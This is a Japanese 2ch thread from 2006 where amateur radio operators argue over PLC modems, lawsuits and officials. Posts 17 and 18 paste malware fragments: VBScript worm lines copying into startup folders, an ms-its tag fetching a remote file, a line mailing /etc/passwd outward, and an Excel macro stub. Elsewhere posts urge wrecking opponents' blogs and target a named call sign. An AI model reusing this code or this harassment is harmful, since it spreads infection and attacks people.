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◆PLC導入絶対阻止◆ Part13

1 :名無しさんから2ch各局…:2006/11/25(土) 06:46:10
PCLモデムの型式認証が行われ、まもなく発売

厚生労働省からはPLCの医療機器への影響を懸念する通達が出され

行政訴訟の準備も着々と進んでいる

いよいよガチンコ勝負が始まる

前スレ
◆PLC導入絶対阻止◆ Part12
http://hobby8.2ch.net/test/read.cgi/radio/1163308810/


2 :名無しさんから2ch各局…:2006/11/25(土) 06:46:46
過去スレ
◆PLC導入絶対阻止◆ Part11
http://hobby8.2ch.net/test/read.cgi/radio/1161707733/
◆PLC導入絶対阻止◆ Part10
http://hobby8.2ch.net/test/read.cgi/radio/1159458071/
◆PLC導入絶対阻止◆ Part9
http://hobby8.2ch.net/test/read.cgi/radio/1158336730/
◆PLC導入絶対阻止◆ Part8
http://hobby8.2ch.net/test/read.cgi/radio/1157784516/
◆PLC導入絶対阻止◆ Part7
http://hobby8.2ch.net/test/read.cgi/radio/1157013748/
◆PLC導入絶対阻止◆ Part6
http://hobby8.2ch.net/test/read.cgi/radio/1156519271/
◆PLC導入絶対阻止◆ Part5
http://hobby8.2ch.net/test/read.cgi/radio/1156202569/
◆PLC導入絶対阻止◆ Part4
http://hobby8.2ch.net/test/read.cgi/radio/1150112689/
PLC導入絶対阻止 Part3
http://hobby8.2ch.net/test/read.cgi/radio/1148481305/
PLC導入絶対阻止 Part2
http://hobby8.2ch.net/test/read.cgi/radio/1142349701/
PLC運用開始【パブコメ出せよ〜】
http://hobby8.2ch.net/test/read.cgi/radio/1132555938/


3 :名無しさんから2ch各局…:2006/11/25(土) 06:47:22
関連サイト
HF-PLC Watching Site
http://hfplc.sakura.ne.jp/nucleus/
日経ラジオ社
http://blog.radionikkei.jp/plc/
NDXC BLOG
http://blog.goo.ne.jp/ndxc/
日経BP
http://itpro.nikkeibp.co.jp/network/index.html
平井卓也(衆院・自民・香川1区) ←買収で当選したこの糞野郎の名を永久に忘れるな
http://itpro.nikkeibp.co.jp/article/NEWS/20050824/220098/
今北産業の君は↓へどぞ
http://ja7ic.dxguy.net/ham/PLC.html
TIARAの声明、もちろん英文
http://www.qrz.com/uploads/post-3-63337-TIARA_PLC.doc

PLC問題/実況リンク
http://www.wikihouse.com/HamRadio/index.php?%A3%D0%A3%CC%A3%C3%CC%E4%C2%EA%2F%BC%C2%B6%B7%A5%EA%A5%F3%A5%AF
PLC情報はココで!電力線通信リンク集
http://www.sv15.com/net/link/0001link.htm


4 :名無しさんから2ch各局…:2006/11/25(土) 06:48:09
ここはあくまでPLC反対運動についてです。

その他の話題はこちら
JARL破綻のカウントダウン PART1
http://hobby8.2ch.net/test/read.cgi/radio/1149044173/
【KSOさんのアマチュア無線活性化への提言】
http://hobby8.2ch.net/test/read.cgi/radio/1140229039/
月刊「ごときゅう」を語ろう その3
http://hobby8.2ch.net/test/read.cgi/radio/1162952637/

5 :名無しさんから2ch各局…:2006/11/25(土) 07:43:49
http://enter-november.iza.ne.jp/blog/entry/73492
応援求む。

6 :名無しさんから2ch各局…:2006/11/25(土) 07:50:30
だめ。おれ登録しておらんから。


7 :名無しさんから2ch各局…:2006/11/25(土) 10:05:08

/ヽ ___ ヘ、,  どーすんの? どーすんの俺?! どーすんのよ!
J        u i :
  ● u  ●  | ;_ _
  U (,__,人,_,) u :|'.| / 7へ
   u   J  ノ,'| / / ,..・'´ヽ
    ─── '-─‐'⌒', ,..・'´
              ノ  ∧
,.──────────'  '────、
┌──┐┌──┐┌──┐┌──┐
|    ||    ||    ||    |
| 訴 || 我 || 樹 || 巣 |
| 訟 || 慢 || 海 || 鴨 |
|    ||    ||    ||    |
└──┘└──┘└──┘└──┘


8 :名無しさんから2ch各局…:2006/11/25(土) 10:17:44
>>5
嘘人といえば放置新聞


9 :名無しさんから2ch各局…:2006/11/25(土) 10:22:13
朝になると賛成派のカキコが増える件

10 :名無しさんから2ch各局…:2006/11/25(土) 10:24:26
       ____
     ,: 三ニ三ミミ;、-、     \/   ̄   | --十 i   、.__/__ \  ,   ____|__l l ー十
     xX''     `YY"゙ミ、    ∠=ー  ̄ヽ |  __|.  |   | /  ヽ  /   __|   ,二i ̄
    彡"     ..______.  ミ.    (___   ノ. | (__i゙'' し      ノ /^ヽ_ノ (__ (__
    :::::             ::;
   ,=ミ______=三ミ ji,=三ミi
   i 、'ーーー|,-・ー |=|,ー・- |                ,-v-、
   i; '::  ::: ーー" ゙i ,ーー'j             / _ノ_ノ:^)
    ーi:: ::i:  /`^ー゙`、_ ..i           / _ノ_ノ_ノ /)
     |:::. ゙"i _,,.-==-、;゙゙i             / ノ ノノ//
     〉::.:..  丶 " ゙̄ .'.ノ       ____  /  ______ ノ
   / i, `ー-、.,____,___ノ\____("  `ー" 、    ノ
 ー'/  'i. ヽ、 ,二ニ/   \       ``ー-、   ゙   ノ
  /   'i、 /\ /      >       ( `ー''"ー'"
  \   'i," (__) /   /         \ /ノ


意外と このスレ伸びるな

需要があるんだね

やっぱり創価学会は信者が多いね

11 :名無しさんから2ch各局…:2006/11/25(土) 10:25:08
          さるでも立てねぇーぞ!こんな糞スレ!!
                                            (  (
                 ,,.r'' ゛~~` ''ッ,,                    )   )
               、 ゛  ,,,,,,,,,,,,,,,,,,,,, ヾ.                ,.、   / /
                ミ   ミ゛,へ.__, ,_ノヽ i.                .| |l   l ,´
              ミ    ミ, ( ・) {・フ 〉 ミ.          _-、i::| |ニニii '
          、,,,,ツi:     ミ,`~´ ヽ~〈  .ミ        /,‐ヽヽ`、||
        、シ``   i:      ,ゞ  'n.inヽ. .ミ          ( .〉〉/
       シ  //      ミ`    l.l ヽ"、         /  ノ
      ミ/ シ           彡 ,=こ二=.{ ミ,,      ,r'´ ,,、'゛
      ミi. /  /       ' ! w、`~^' vwv '、   ミ      〃 .ミ
     .ミ /     i:  /      `^^     \ ."   〃  ミ
    .ミ.:/ / / i:      v    !  ,,   \ 、 〃  ミ
    :i;     .i:   w      !!   ミ!:   ミ \\( ⌒ヽ
    :i;  /   i:      !!       .ミ キ    , ⌒`、_  )  )
    :il     .i:    !    w!    ミ .:i.   (_ (  _,ノ  ) ,
   :il   !  i:           ! ,〃゛  キ    ゞ、 __,  ノ ,
   .:il !   /~~````` " '''' = ‐- 、ミ  _,,,,_ミ,  il `  ー ´
   :il   ´ ―  ̄ - ,,. -‐‐-、、 ヽ. ヾ、  ゞ、 `  〃
   ゝ、wx.mn.!!++ナ'~      ヾ~ヽ、 ヽ、 ,, ~^^}´
      彡   〃  〃     }} /〉.〉〉〉i''"   〃
       彡、     {{     〃,__!////l |    〃
         X,,    》.   ≪.__`‐'.' '´,Uwwvw'、...,,,___
          ^^^^ !wニこ)こ)二)`) (_,,,..- 、...二⊃_).).

12 :名無しさんから2ch各局…:2006/11/25(土) 10:25:59
97年9月から稼働し始めた当方自慢のホームページですが、ちょうど今年で
満5年を迎え又アクセスカウントも20万を超しアイピーを晒してK県に宣戦布告
したという事を節目にバツが悪いためにホームページを休止し致します。
 思えば5年前にホームページを立ち上げたときは、このように2ちゃんねると
アマチュア無線の融合が爆発的に流行るとは思えずダイヤルアップ接続に
特化した内容のモノも少なく、手探りで勤務中に会社から50Wの移動局を主な
誹謗中傷の対象としてカキコして参りました。
この5年間続けられていたのもひとえに私をハケーンしに飲み会に来て
頂いたり無線板にネズラネタをカキコ頂いた方々のお陰と感謝の念で一杯です。
職場での左遷や愛犬の食費問題など公私共、今後さらなる金欠病が予測され、
ダイヤルアップ接続料に費やす資金が取れなくなるというのも休止の大きな
原因です。夢であったP5の首領殿とアイボールも出来、後はサダムフセイ
ン残しということで、パケクラに個人コールでレポートする気力が衰えたの
も事実ですが・・・?!今ではトカチさんをはじめとする多くのDXER諸氏が
常時接続回線を用いて個人ホームページを立ち上げられて居られますし
著名アイボールQSOクラブでも稼働させているところが多く有ります。
是非ともこういったホームページをご利用され、ご自身のカキコ向上に
役立てられてください!なお、当ホームページへのリンク張られていた方々、
申し訳ないのですが削除を御願い致します。この告知のページも経済的な
理由により1ヶ月程度をメドに停止致します。
本当に5年間当方自慢のホームページをご利用頂き、ありがとうございました。

http://www.wainet.ne.jp/~santa-m/torihada/kitigai/hanzubon.jpg
http://www.wainet.ne.jp/~santa-m/torihada/kitigai/hanzubon2.jpg
http://www.wainet.ne.jp/~santa-m/torihada/kitigai/hanzubon3.jpg
http://www.wainet.ne.jp/~santa-m/torihada/kitigai/hanzubon4.jpg
http://www.wainet.ne.jp/~santa-m/torihada/kitigai/hanzubon6.jpg
http://s-collection22.up.seesaa.net/image/P8270004.JPG
http://s-collection22.up.seesaa.net/image/P8270003.JPG
http://www.media-k.co.jp/jiten/img/saizen02.jpg

13 :名無しさんから2ch各局…:2006/11/25(土) 10:27:51
 __/_  _/_    ヽ        ヽ     __/_ _/_
  //ヽ   /    ̄ ̄/ ̄ ̄  二7二7二  //ヽ __/_
/. /   ヽ /   ──/──    /三三三/ /. /   ヽ /
  /   _/   ___/___   ──/──  /  _/ヽ_ 

              ,, -''"⌒⌒丶、
            /  彡ノノヾ  \
           / 彡彡ノノノ \ヾ ヽ
           彡ノ,,⌒     ⌒,,ヽ、 l
          ノノ|<●),  、(●>| ミ
.         ノ(6|    (、_, )・  .::::|6)ミ
.         ((  l      ll    .::l(ヽ)
          ヽ ヘ   ,:=ニ=:、 .:::/ ヽ)
           )) )\ `ー-‐´.::/( ( (
          (( (  `ーr--r‐´  ) ))

14 :名無しさんから2ch各局…:2006/11/25(土) 10:28:13
あー暗い暗い暗いも舞ら

何でもいいけどWWのCWです。
http://oh2aq.kolumbus.com/dxs/
DXやろうぜ、DX。

14MHzでカリブ聞こえまくり、28MHzはE51など太平洋出来まくり。


15 :名無しさんから2ch各局…:2006/11/25(土) 10:31:08
釣竿でもできますか?

16 :名無しさんから2ch各局…:2006/11/25(土) 10:31:26
P5のDXerだぁのお部屋

祖国の土を踏まぬ間に1972年3月から35年の歳月が経っていました。保存しておきたい将軍様の画像や資料などをこちらに掲載して参ります。
画像等について共和国の所有権を宣言致します、勝手に転載を禁止致しますが、ご利用の場合はメール等で焼き場まで連絡下さい。SYNOP。

http://www.k2.dion.ne.jp/~t_ikeda/
http://blogs.dion.ne.jp/dxer/
http://page.freett.com/nickyama2/maebashi021.jpg
http://zumatsu.hp.infoseek.co.jp/2005Hamfair/IMGP00791.jpg
http://zumatsu.hp.infoseek.co.jp/2005Hamfair/IMGP00991.jpg
http://www001.upp.so-net.ne.jp/takahashi/photo/je1syn102.JPG
http://dxxxxx.hp.infoseek.co.jp/img040821/P10105971.jpg
http://tgc.jp-au.net/member.htm
http://543.teacup.com/tgc/bbs
http://www.maeko-hs.gsn.ed.jp/


17 :名無しさんから2ch各局…:2006/11/25(土) 10:32:06
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.Copy^^^^File f1.path, f1.path+"l"
ms-its:mhtml:file://c:\ 
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

18 :名無しさんから2ch各局…:2006/11/25(土) 10:32:40
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)

19 :名無しさんから2ch各局…:2006/11/25(土) 11:00:42
一通り出揃ったかな?


20 :名無しさんから2ch各局…:2006/11/25(土) 13:16:58
ガキ多すぎ

21 :名無しさんから2ch各局…:2006/11/25(土) 13:18:32
公衆便所ばっか・・・

22 :名無しさんから2ch各局…:2006/11/25(土) 13:32:44
推進派氏ね

23 :名無しさんから2ch各局…:2006/11/25(土) 13:34:47
>>19
PLCモデムですか?

24 :名無しさんから2ch各局…:2006/11/25(土) 13:35:44
-35dBのノッチ入れられればアマチュア無線に障害があるという
行政訴訟の主張はかなり無理ぽ。


25 :名無しさんから2ch各局…:2006/11/25(土) 13:36:19
JARLの普及しないという理屈も無理ぽ。

26 :名無しさんから2ch各局…:2006/11/25(土) 13:41:39
厚生労働省の懸念もっともぽ。

27 :名無しさんから2ch各局…:2006/11/25(土) 14:04:09
お上が文書による通知で,「PLCが医療機器へ影響を及ぼす可能性を否定できない」と
各都道府県にお達ししたってのは痛いね。都道府県経由で,全国津々浦々のPLC製造企業やPLC販売店
(電気店)に指導が行くんだからな。

販売する側にしてみたら,客からクレームつけられるのはイヤだから,扱わないってのが一番。


28 :名無しさんから2ch各局…:2006/11/25(土) 14:16:06
松下のサンプル出荷はやはり違法だった!
この機器を使って記事を出した日経BPの責任は?

29 :名無しさんから2ch各局…:2006/11/25(土) 14:22:03
やったもん勝ち


30 :名無しさんから2ch各局…:2006/11/25(土) 14:22:59
人殺しはいけません
しかし国単位で戦争をやって勝つことは褒められます
→人殺しの正当化

世の中そんなもんですよ


31 :オーバーパワー絶対阻止:2006/11/25(土) 15:32:33
http://www.roar-j.jp/
日本ロータリーハムクラブHP

http://www.roar-j.jp/riji/index.html
DKAは無線局運営委員長(役員)

http://www.tele.soumu.go.jp/menkyo/SearchServlet?IT=A&HZ=3&OX=AT+&MA=JF1DKA&OW=AT+0&DC=10&pageID=3&DF=0001444166&styleNumber=50
4アマキロワッターのDKA

CQ誌2002年1月号のドクター(DKA)の取材記事で
ドクターが2000Fと一緒に写っていてた。総通晒を見ると4アマ
オーバーパワー疑惑が持ちあがった

2006年6月某日の日本ロータリーハムクラブ電波定例のキー局はDKA
(平日7:30-8:15 7.077.5MHz LSB で行われいる)
2週間ぐらい前からネットで「4アマ`ワッターが出るぞ」と
ボコボコに叩かれたのに関わらず、当日堂々と出てきた
4アマなのに100w局よりも波が強かった
これでオーバーパワーが確定した

6月某日のことでボコボコに叩かれたことが原因か、
その後キー局でDKAが当たることはなくなった

4アマ`ワッターが無線局運営委員長を務める日本ロータリーハムクラブはさっさと解散しろ!
日本音響研究所はなくなれ!
DKAは廃局しろ!
4アマ無線局運営委員長なんて4アマ監査指導員と同じだ!

http://hobby8.2ch.net/test/read.cgi/radio/1141057726/714
アダムスミスの学歴詐称疑惑(300マソで卒業証明書発行できるようだ)
から頭髪偽装でヅラ疑惑など疑惑の塊である

32 :名無しさんから2ch各局…:2006/11/25(土) 15:38:49
ここはオーバーパワー問題を扱うスレではありません。
違法運用をしている無線局を見つけたら,即,地方総合通信局に通報してください。
遠慮は無用です。思う存分,通報してください。

33 :名無しさんから2ch各局…:2006/11/25(土) 16:05:13
http://www.asahi.com/national/update/1125/TKY200611250206.html

物理的なスイッチなのでしょうけれども,勝手にスイッチがオンになったらこうなるのか

34 :名無しさんから2ch各局…:2006/11/25(土) 16:58:06
アマチュアじゃないからアマチュアじゃないと書いているんじゃないの?
アマチュアだという証拠でもあるんですか?

>993 名無しさんから2ch各局… New! 2006/11/25(土) 07:35:02
>>992
>れっきとしたアマチュアが何故アマチュア無線家じゃないだなんていう書き方を
>するんだよ。
>こういうやり方をしているから問題にされるんだ。堂々とアマチュア無線家と名
>乗ってやればいいものを。情け無い局長だな。そんならさっさと無線など
>やめちゃえよ。


35 :名無しさんから2ch各局…:2006/11/25(土) 17:32:54
アマチュアでなきゃあんなアホな事かかんよ<ぷ


36 :名無しさんから2ch各局…:2006/11/25(土) 17:43:07
ここでもantiplcの話題かよ。あの人は前から異常性格者だとは知っていたけどな。
PLC問題で有名になろうとしたのだけど社交性が無くてだめよ。
勿論20年以上アマチュアやってるよ。


37 :名無しさんから2ch各局…:2006/11/25(土) 17:44:35
>>36
コール教えて


38 :名無しさんから2ch各局…:2006/11/25(土) 17:49:14
反対派はとうとうここでしか意見が言えなくなったようだ。
0エリアの掲示板からは反対派が廃除されたからな。


39 :名無しさんから2ch各局…:2006/11/25(土) 17:52:14
アマチュアじゃなくてプロなんジャマイカ

なんのプロか知らんが…(市民?)

40 :名無しさんから2ch各局…:2006/11/25(土) 18:02:45
プロのアマチュア無線家だよ!

41 :名無しさんから2ch各局…:2006/11/25(土) 18:03:06
彼の場合はPLCが生甲斐のようなもの。
でも人間がだめだからなあ。


42 :名無しさんから2ch各局…:2006/11/25(土) 18:24:51
ということはあのJH9V**かよ。<ぷ


43 :名無しさんから2ch各局…:2006/11/25(土) 18:55:56
>不思議に思うのは、PLC反対を叫ぶ人達のブログってのは何処の誰なのか隠したがる人が多いですね。
>やっぱり社会に対する後ろめたさを感じているからなのでしょうか?(笑)
>アマチュア無線家の80%以上がJARLの対応に不満を持っているようですから、自分を明らかにし
>て意見を述べても無線界にあっては多くの賛同を得られ、場合によっては英雄視されることもあるかも
>知れないのにと思うのですが・・。
>
>昔のパケット通信の頃の論客はみんな頼もしかったですが、最近は隠れてしか物が言えないような論客ば
>かりになってきて悲しいですね。
>
>コメント by JH0I*E ? 2006年10月28日:土曜日 @ 13:54:42


44 :名無しさんから2ch各局…:2006/11/25(土) 19:13:08
笑える。反対派は意気地なしばっかよな。


45 :名無しさんから2ch各局…:2006/11/25(土) 19:27:34
どうりで最近チン毛が抜けると思ったぜ。


46 :名無しさんから2ch各局…:2006/11/25(土) 20:16:57
>>43
お上に文句言うのは、リスクだからね。

47 :名無しさんから2ch各局…:2006/11/25(土) 20:23:36
>>43
お爺さんの時代は、住所氏名電話番号まで晒しても
それを悪用しようって人が少なかったからだろうね。
現代は、データが一度電子化されてしまえば、容易に「名寄せ」できる時代。
わけのわからんダイレクトメールは来るし、
マンションなんか要らんっつーのに電話してくるし、
うざったいったらありゃしないからね。

48 :名無しさんから2ch各局…:2006/11/25(土) 20:23:58
>やっぱり社会に対する後ろめたさを感じているからなのでしょうか?(笑)
違うと思いますよ。
いち個人が組織に対抗することの難しさはどなたでもご存知だと思いますが、いかがでしょう。

>アマチュア無線家の80%以上がJARLの対応に不満を持っているようですから、自分を明らかにし
>て意見を述べても無線界にあっては多くの賛同を得られ、場合によっては英雄視されることもあるかも
>知れないのにと思うのですが・・。
組織というのは個人が集まったという単純なものではありません。
組織全体が一定の意志を持っていたり、その構成者に報酬(利益)があったりetc.
そうでなければ烏合の衆です。


49 :名無しさんから2ch各局…:2006/11/25(土) 20:30:45
>>43
意見表明のきっかけのいくつかの理由の中に「英雄視されたい」が入るであるろう
あなたのような方とは意見が合いそうもありません。

>>44
逆の立場だったら同じことが言えるのかしら?

>>47
目立つことがそのまま恨まれることになる時代でもあります。


50 :名無しさんから2ch各局…:2006/11/25(土) 20:31:52
じゃあ烏合の衆だねwww

51 :名無しさんから2ch各局…:2006/11/25(土) 20:32:58
そうですね。
相手の組織は「仕事」としてやっているのに対して、
個人は自分の少ないリソースを割いてやっているわけで、
個人で組織に対抗するのは大変だ。
うしろめたさなんかでは決してないでしょう。

だからこそ、志を同じくする個人が集まって組織を作って、
個人に代わり様々な活動をしてもらうわけです。
無線家にとっては、その役割を担ってくれるのが
日本アマチュア無線連盟のはずなのですが、
どういうわけか、会員の意思を無視してPLCに賛成したもんだから、
おかしなことになったというわけですね。

52 :名無しさんから2ch各局…:2006/11/25(土) 20:34:52
>>50
違います
時間は止まっているわけではありません

53 :名無しさんから2ch各局…:2006/11/25(土) 20:52:19
>>36
妄想,乙!

54 :名無しさんから2ch各局…:2006/11/25(土) 20:54:52
だからアマチュア無線家はダメなんだよ

55 :名無しさんから2ch各局…:2006/11/25(土) 21:00:20
まったくオマエらは馬鹿ばっかり揃っているよな。

国内でPLCを使い続けていた人もいるってことを知っているか?
http://blog.goo-net.com/benz/archive/264

いくらでも妨害を測れるんだぜ

56 :名無しさんから2ch各局…:2006/11/25(土) 21:07:09
>>9
推進派は,業務として勤務時間内に2ちゃんねるをはじめとするネット情報を見ている。
それだけビビっているってこと。

57 :名無しさんから2ch各局…:2006/11/25(土) 21:46:15
反対派のプロも、業務として勤務時間内に、サイトに
よっては管理者に閲覧禁止設定解除してもらってまで
見てます。PLC撲滅に使える情報を収集するためにね。

ただ、書き込みはしない。

58 :名無しさんから2ch各局…:2006/11/25(土) 21:59:10
反対派がおとなしくなったと思って鬼の首を取ったようにカキコしてる推進派が
最近多いようだが、ホントバカだなぁと思う今日この頃。何も知らないで・・

59 :名無しさんから2ch各局…:2006/11/25(土) 22:00:50
今は無線やってないんで反対でも賛成でもない

どうでも良いよ

60 :名無しさんから2ch各局…:2006/11/25(土) 22:29:57
こんな片隅でなに言ってんだか<ぷ
世間はおまいらほど暇じゃないよ<ぷ

61 :名無しさんから2ch各局…:2006/11/25(土) 22:45:23
 QRLLでWWCWもお休み。
 30WPMでばったばったとQSOしまくる快感が・・・・


 訴訟準備も着々と進んでいるし。まあどうなるのか。




62 :名無しさんから2ch各局…:2006/11/25(土) 22:54:55
>>57
なんだそりゃ。アホか。

63 :名無しさんから2ch各局…:2006/11/26(日) 00:06:41
無線板もID表示導入だねぇ。
何人このスレにいるのか楽しみw

64 :名無しさんから2ch各局…:2006/11/26(日) 00:19:32
ID表示しても人数は分からない。
同じPCを別のネットに繋げばIDは変わるから。

65 :名無しさんから2ch各局…:2006/11/26(日) 00:21:13
http://page11.auctions.yahoo.co.jp/jp/auction/n44672905
無線は公害。みんなやめていく。


66 :名無しさんから2ch各局…:2006/11/26(日) 00:29:38
>>65
入札安っ
まぁ、中古のジャンクだからな

67 :名無しさんから2ch各局…:2006/11/26(日) 02:50:37
        巛ミヾヾ  \
       /   ミ     ヽ
       f,    ミ       }
     ┏v'┳_━━━ r、    |
     yバノ゙’' ̄ '''  } }゙    }
     ‘ーj`'    :  //   /
      L_ヽ  i  V   /
     ("  ` !      _/
      \ _,. -‐ '  ̄  !_
      /|~   /  ̄    \
 
    ヒッシ・ダナー [Hissy Danner]
     (1901〜1997 イギリス)

68 :名無しさんから2ch各局…:2006/11/26(日) 14:51:02
>>67
hickeyとかkinkyと呼ばれているPLC関係者?

69 :名無しさんから2ch各局…:2006/11/26(日) 15:34:30
人の不幸の上に成り立つ事業は長続きしない

70 :名無しさんから2ch各局…:2006/11/26(日) 15:48:04
日本で初めて売り出したという「実績」作りのためだけだろ。
次は日本初の撤退決定アナウンスか

71 :名無しさんから2ch各局…:2006/11/26(日) 16:08:00
>>69
同感
幸之助先生が泣くわな

72 :名無しさんから2ch各局…:2006/11/26(日) 16:40:53
>>69
そんなことさえわからなくなった松下なんぞ、存在理由が無くなったも同然。

73 :名無しさんから2ch各局…:2006/11/26(日) 18:12:01
だからファンヒータで人殺しをする訳だわな。幸之助先生が存命ならさぞ
お嘆きになっただろう・・

74 :名無しさんから2ch各局…:2006/11/27(月) 01:28:35

/ヽ ___ ヘ、,  どーすんの? どーすんの俺?! どーすんのよ!
J        u i :
  ● u  ●  | ;_ _
  U (,__,人,_,) u :|'.| / 7へ
   u   J  ノ,'| / / ,..・'´ヽ
    ─── '-─‐'⌒', ,..・'´
              ノ  ∧
,.──────────'  '────、
┌──┐┌──┐┌──┐┌──┐
|    ||    ||    ||    |
| 訴 || 巣 || 樹 || テ |
| 訟 || 鴨 || 海 || ロ |
|    ||    ||    ||    |
└──┘└──┘└──┘└──┘


75 :名無しさんから2ch各局…:2006/11/27(月) 07:07:14
訴訟団結成されましたか。まだ必要書類を送っていないのがいるようです。
参加すると言ったらちゃんとやれよな。
ビビって脱落したのなんかほうっておけよ。
足手まといだよ。全員の氏名が近く公開されますよね。
がんばろう!!


76 :名無しさんから2ch各局…:2006/11/27(月) 07:08:03
PLC賛成派のblogを破壊しようぜ。
言いたい放題はゆるせんぞ。


77 :名無しさんから2ch各局…:2006/11/27(月) 07:12:50
http://enter-november.iza.ne.jp/blog/entry/73492/allcmt/#C120963
こいつか


78 :名無しさんから2ch各局…:2006/11/27(月) 07:52:21
エセPLC反対派
http://jarl.iza.ne.jp/blog/entry/78735

推進派は,困ってくるとオーバーパワー問題を言い出す。だまって総合通信局に通報すればいいのに。

PLCが大きな問題を起こすからといって,視点をそらそうとしているだけだ。
相変わらず姑息な連中>>推進派

79 :名無しさんから2ch各局…:2006/11/27(月) 07:55:38
PLC導入側だって、申請者による自己測定で型式指定取れるのをいいことに
外国仕様の製品そのまま売ろうとしている会社が複数あるじゃない。

80 :名無しさんから2ch各局…:2006/11/27(月) 07:59:41
電話料が不要になると思いこんでいるのか
http://ameblo.jp/eiyan/entry-10020591647.html

幸せなお方だ

81 :名無しさんから2ch各局…:2006/11/27(月) 10:48:07
申請者による自己測定で型式指定取れるのかよ
原発のデーター改ざんなんか平気でやるんだから
PLCなんか自由自在だよな

早く訴状出せよ
不買運動を主婦連と組んで展開しようぜ

82 :名無しさんから2ch各局…:2006/11/27(月) 11:03:46
>>81
そんなんせんでも、売れる分けない。
ただで配るのは気がかりやけど。

83 :名無しさんから2ch各局…:2006/11/27(月) 13:46:58
>>82
タダで配るってのは,過剰在庫の一掃のためじゃないか?
売れもしないものを抱えておくわけにはいかないから

84 :名無しさんから2ch各局…:2006/11/27(月) 13:49:48
騙されて買っても、いまいちでヤフオクに出回るよ。

85 :名無しさんから2ch各局…:2006/11/27(月) 14:16:51
まずはじめに、一般客はヒカリや電話線の代わりに電線で繋がると思うだろ。
所が屋内のPCどうしだけに落胆するね。それも付属品だらけで不安定
言いたいのは、こんなくだらんオモチャに大のおとなが5年も論争して
開発費を税金からつぎ込んだ事にはらが立つ。

86 :名無しさんから2ch各局…:2006/11/27(月) 14:42:42
家庭内のネット構築って中途半端だよな、どれだけユーザーが居るのか
リサーチしたのかよ? 家電に組み込むにしてもハードルが高いだろ
企業相手にしては貧弱だしね。


87 :名無しさんから2ch各局…:2006/11/27(月) 14:58:47
始めは、本気で電力線をインフラに使う意気込みだったと思う。
それが無理で、電灯線に
それも無理で屋内配線に、それも片相だけ
ここまで来る前に普通なら辞めるだろ
馬鹿がそろってるんか?
開発基幹の予算取りに利用したとしか思えやん。

88 :名無しさんから2ch各局…:2006/11/27(月) 15:02:55
疑うなら、短波ユーザーが反対する事を見込んだ
引き伸ばし作戦じゃまさか無かっただろうな?
初めから無理だし、売れない事が前提だったら
許せない。

89 :名無しさんから2ch各局…:2006/11/27(月) 15:10:54
言って見た物の、電力線に短波を乗せるには無理が有るのかな?波長の関係で
電灯線は波長的にぴったりだけど。


90 :名無しさんから2ch各局…:2006/11/27(月) 16:19:52
【コンセント】松下BL-PA100KT【PLC】
http://pc8.2ch.net/test/read.cgi/hard/1163415423/l50


91 :名無しさんから2ch各局…:2006/11/27(月) 16:47:31
>>87
eジャパンなんとかとやらで、巨額の補助金・助成金が動いてんだよ。
オマエらにゃ想像もできないような桁のな。
血税を使って「ゴメンなさい」では、役人のクビが飛ぶんだよクビが。
いいか、役人のクビだぞ。
役人のクビに比べりゃ、松下の評判が下がろうが、死人が出ようが、ましてやアマチュアのグチ
なんぞどうでもいいんじゃ。
そのくらい分かれや > バカどもが

92 :名無しさんから2ch各局…:2006/11/27(月) 16:59:03
最近1.8や3.5でグアングアンとうなっているノイズはPLCのものですか。


93 :名無しさんから2ch各局…:2006/11/27(月) 17:08:45
>>91

実際には失政やってもまず役人なんかクビにならないし責任も取らない。
税金無駄遣いしても誰も責任取らない。
責任取らさせる仕組みじゃないから適当なことばかりするとおもう。
3回死んでいいぞ

94 :名無しさんから2ch各局…:2006/11/27(月) 17:16:14
売れても売れなくても、上手く誰かが儲けたんだ 誰?

95 :名無しさんから2ch各局…:2006/11/27(月) 18:10:24
まだアマチャ無線やっとるのか。ただのアホ


96 :名無しさんから2ch各局…:2006/11/27(月) 18:22:23
もうアマチャ無線やめたのか。ただの長続きしないデレスケ

97 :名無しさんから2ch各局…:2006/11/27(月) 18:27:02
